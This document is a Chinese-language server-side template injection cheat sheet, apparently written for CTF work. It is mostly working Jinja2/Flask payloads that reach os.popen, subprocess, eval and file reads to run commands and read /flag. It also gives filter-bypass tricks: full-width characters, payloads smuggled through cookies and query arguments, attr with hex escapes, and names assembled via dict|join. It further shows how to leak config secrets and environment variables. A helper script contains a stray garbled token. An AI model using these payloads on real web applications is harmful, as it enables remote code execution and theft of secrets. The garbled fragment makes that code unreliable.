快速判断模板类型

1
2
3
{{7*'7'}} 这个 payload 主要可以快速区分 Jinja2 和 Twig

Jinja2 输出 7777777 , Twig 输出 49
1
2
3
4
5
6
7
8
{{7*7}} 生效        -> Jinja2 / Twig / Nunjucks
{{7*'7'}}=7777777 -> Jinja2
{{7*'7'}}=49 -> Twig / Nunjucks
${7*7} 生效 -> Freemarker / JSP EL / SpringEL / Mako
<%= 7*7 %> 生效 -> ERB / EJS
#{7*7} 生效 -> Pug / Jade
[[${7*7}]] 生效 -> Thymeleaf
{$smarty.version} 生效 -> Smarty

SSTI

有时候后端会进行Unicode规范化,把全角字符转为半角字符,所以有时候可以用全角来代替半角,全角替换脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def to_full_width(text):
result = ""
for char in text:
code = ord(char)
if 33 <= code <= 126:
code += 65248
elif code == 32:
code = 12288__reduc
result += chr(code)
return result

payload = "&#123;&#123;lipsum.__globals__['os'].popen('whoami').read()}}"

full_width_payload = to_full_width(payload)
print(f"原始: {payload}")
print(f"全角: {full_width_payload}")

FLASK

1
2
3
4
5
6
7
8
9
10
11
12
__class__:查看当前对象所属的类

__mro__:查看当前类的继承关系(MethodResolutionOrder),通常用来找基类object

__base__:查看当前类的直接父类

__subclasses__():列出当前运行环境下,该类所有的子类,自定义的类也在这里(这是寻找RCE插件的关键)

__init__:类的初始化方法,访问构造函数,函数对象都有__globals__属性

__globals__:函数所在模块的全局变量字典,获取该函数运行时的所有全局变量、函数和引用的模块(如果这个类所在的文件夹里引用了os,或者它能访问__builtins__,那么os模块就会出现在这个字典里)
如果[]被禁__globals__要访问字典键可以:.os,.get("os"),|attr('os'),.__getitem__('os'),dict,request
1
要是没有什么类,可以用可以找找__builtins__工具,包含了python所有内置函数
1
有__class__属性的有:(),'',"",[],config,request,self,lipsum,cycler,joiner,namespace,url_for,get_flashed_messages
1
2
3
4
5
6
7
8
9
10
11
分隔符也可以改,开发者自定义
&#123;&#123;}}:变量、表达式打印,有回显

&#123;%%&#125;:语句、控制流,无回显,唯一有个print可以打印像
例:&#123;% if admin %&#125; ... &#123;% endif %&#125;
&#123;% for i in range(10) %&#125; ... &#123;% endfor %&#125;
&#123;% set a = 'os' %&#125;

&#123;##&#125;:注释,不会被执行

#:行语句需要开启配置
1
在jinja2中没有定义的变量值为Undefined对象
1
过滤器(join,attr)没有参数,可以不加括号
1
~:在jinja2中,在~两边的不管是什么都会被转成字符串,将字符连接在一起,如10~2=>"102","a"~"b"="ab"

常用模块和类

os模块

1
2
3
4
5
6
7
8
9
10
11
12
这是最直接的目标它通常隐藏在这些子类的__globals__中:

os._wrap_close(Python3极常用,索引通常在前150个)

warnings.catch_warnings(经典老牌)

site._Printer

linecache(因为它内部为了读取源码引用了os)
例:
&#123;&#123;().__class__.__bases__[0].__subclasses__()[索引].__init__.__globals__['os'].popen('whoami').read()}}
&#123;&#123;''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

inspect.Signature

1
2
?name=&#123;&#123;''.__class__.__base__.__subclasses__()[290].__init__.__globals__['os'].popen('cat/flag').read()}}
也有__builtins__chr(111)+chr(115)

subprocess.Popen

1
2
3
4
subprocess.Popen(通常直接出现在subclasses列表中)

例:&#123;&#123;().__class__.__bases__[0].__subclasses__()[索引]('ls',shell=True,stdout=-1).communicate()[0]}}
communicate()会返回一个元组,两个元素标准输出和标准错误

_frozen_importlib_external.FileLoader

1
2
3
4
5
可用于绕过那些过滤了os、popen、eval或open的waf
FileLoader是Python内部用来从硬盘加载文件的类它有一个内置方法叫get_data(0,path),第一个参数是self,get_data不会用到self,所以可以随便传参,但省略会报错

&#123;&#123;''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
&#123;&#123;''.__class__.__base__.__subclasses__()[94].get_data(0,'/flag')}}

traceback.TracebackException

1
?name=&#123;&#123;''.__class__.__base__.__subclasses__()[292].__init__.__globals__['linecache']['os'].popen('ls/').read()}}}}

builtins模块

1
2
3
4
5
6
7
8
9
__builtins__就像一个百宝箱,里面包含了Python所有的内置函数,如eval,__import__,open
只要能访问到__globals__机会百分百__builtins__,而能访问__globals__的都是python写的,包括用户自定义的类
常用入口类:site.Quitter,site._Printer,warnings.catch_warnings

利用方式:

执行eval:__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

使用import:__globals__['__builtins__']['__import__']('os').system('ls')

flask.json.tag.JSONTag

1
&#123;&#123;''.__class__.__base__.__subclasses__()[446].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

绕过

request对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
是flask就有,flask.*
&#123;&#123;url_for.__globals__['request']}}
&#123;&#123;get_flashed_messages.__globals__['request']}}
request.args:解析后的URL查询字符串(GET参数)
结构:?name=abc&age=18,request.args.name调用
{'name':'abc','age':'18'}

request.form:POST请求中表单提交的数据
结构:类似字典

request.values:args和form的结合体

request.cookies:客户端发送的所有Cookie
SSTI价值:如果URL长度受限,可以将Payload放在Cookie里,通过request.cookies.mykey读取

request.headers:所有的HTTP请求头
结构:包含User-Agent,Referer,Host等
SSTI价值:可以用request.headers['User-Agent']来读取数据

request.method:请求方法(GET,POST,PUT等)

request.path:请求的路径(不带域名和参数,如/login)

request.url:完整的请求地址

request.host:服务器的主机名(域名)

request.remote_addr:客户端的真实IP地址

request.files:上传的文件对象

request.json:如果请求头是application/json,这里存放解析后的JSON数据

?name=&#123;&#123;().__class__.__base__.__subclasses__()[94][request.args.m1](0,request.args.m2)}}&m1=get_data&m2=/flag

pop函数

1
2
3
__subclasses__()是列表,__init__.__global__是字典都可以使用pop
pop会删除并返回指定键的值,通常一次性会导致环境崩溃
__subclasses__()[94]和__subclasses__().pop(94)值相等

lipsum函数

1
2
3
4
5
6
7
8
9
10
11
内置函数有__globals__属性,可以直接lipsum.__globals__
拥有模块:os

&#123;&#123;(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}}
cookie:m1=__globals__;m2=cat /flag;m3=os
&#123;&#123; (lipsum|attr(request.cookies.n)|attr(request.cookies.k))("os").popen(request.cookies.m).read() }}
cookie:n=__globals__;k=__getitem__;m=ls
&#123;&#123; (lipsum|attr(request.cookies.n))[request.cookies.k].popen(request.cookies.m).read() }}
cookie:n=__globals__;k=os;m=ls
&#123;&#123;(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}}
cookie:m1=__globals__;m2=cat /flag;m3=os

config

1
&#123;&#123;config.class.init.globals['os'].popen('ls','r').read()}}

|attr()过滤器

1
2
3
4
5
6
7
可以是字符串也可以是变量
lipsum|attr("__globals__") 等于 lipsum.__globals__

&#123;&#123;(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}}
Cookie:m1=__globals__;m2=cat /flag

lipsum|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f") 为lipsum.__globals

{%%}分隔符

1
2
3
4
&#123;%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read())%&#125;
cookie:m1=__globals__;m2=cat /flag;m3=os

&#123;% %&#125;中可以写set定义变量,&#123;&#123;}}会报错

字符拼接绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
dict:dict函数在创造字典时python会自动把赋值对象看成字符串
例:dict(name=1)直接生成{"name":1}
join:对字典使用join时,join会把字典的所有键拼接成一个字符串,所以dict(po=a,p=a)|join可以生成"pop",而a是占位符随便写


&#123;% set po=dict(po=a,p=a)|join%&#125; &#123;#设置po为pop#&#125;
&#123;% set a=(()|select|string|list)|attr(po)(24)%&#125; &#123;#&#123;&#123;()|select}}为<generator object select_or_reject at 0x7fbdb99af220>,pop(24)正好时下划线#&#125;
&#123;% set ini=(a,a,dict(init=a)|join,a,a)|join()%&#125; &#123;#设置ini为__init__#&#125;
&#123;% set glo=(a,a,dict(globals=a)|join,a,a)|join()%&#125; &#123;#设置glo为__globals__#&#125;
&#123;% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%&#125; &#123;#设置geti为__getitem__#&#125;
&#123;% set built=(a,a,dict(builtins=a)|join,a,a)|join()%&#125; &#123;#设置built为__builtins__#&#125;
&#123;% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%&#125;&#123;#设置x为q.__ini__.__globals__.__getitem__('__builtins')#&#125;
&#123;% set chr=x.chr%&#125; &#123;#提取__builtins__中的chr函数#&#125;
&#123;% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%&#125;&#123;#构造文件路径/flag#&#125;
&#123;%print(x.open(file).read())%&#125;&#123;#利用__builtins__.open('/flag').read()读取文件内容#&#125;


数字被过滤可以用count如&#123;%set n=(dict(cccc=a)|join)|count%&#125;将n赋值为4
length:count被过滤可以用length替换,jinja2的length和count完全等价




&#123;%print(lipsum|string|list)%&#125;
输出:
['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '6', 'b', 'f', '3', 'e', '4', 'c', '5', '5', '0', '>']
而我们要在这些字符中把我们想要的一个个拼起来
例:
&#123;%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%&#125;
&#123;%print(lipsum|attr(gl))%&#125;
gl为__globals__

poxis模块

1
posix.environ:环境变量字典

框架内置对象(Flask/Jinja2特有)

1
2
3
4
不需要从''出发,直接在模板中就能拿到的对象
config:泄露SECRET_KEY、数据库连接密码&#123;&#123;config}}
request:利用请求对象&#123;&#123;request.application.__self__._get_data_for_json.__globals__['os'].popen('id').read()}}
url_for/get_flashed_messages:&#123;&#123;url_for.__globals__['os'].popen('ls').read()}}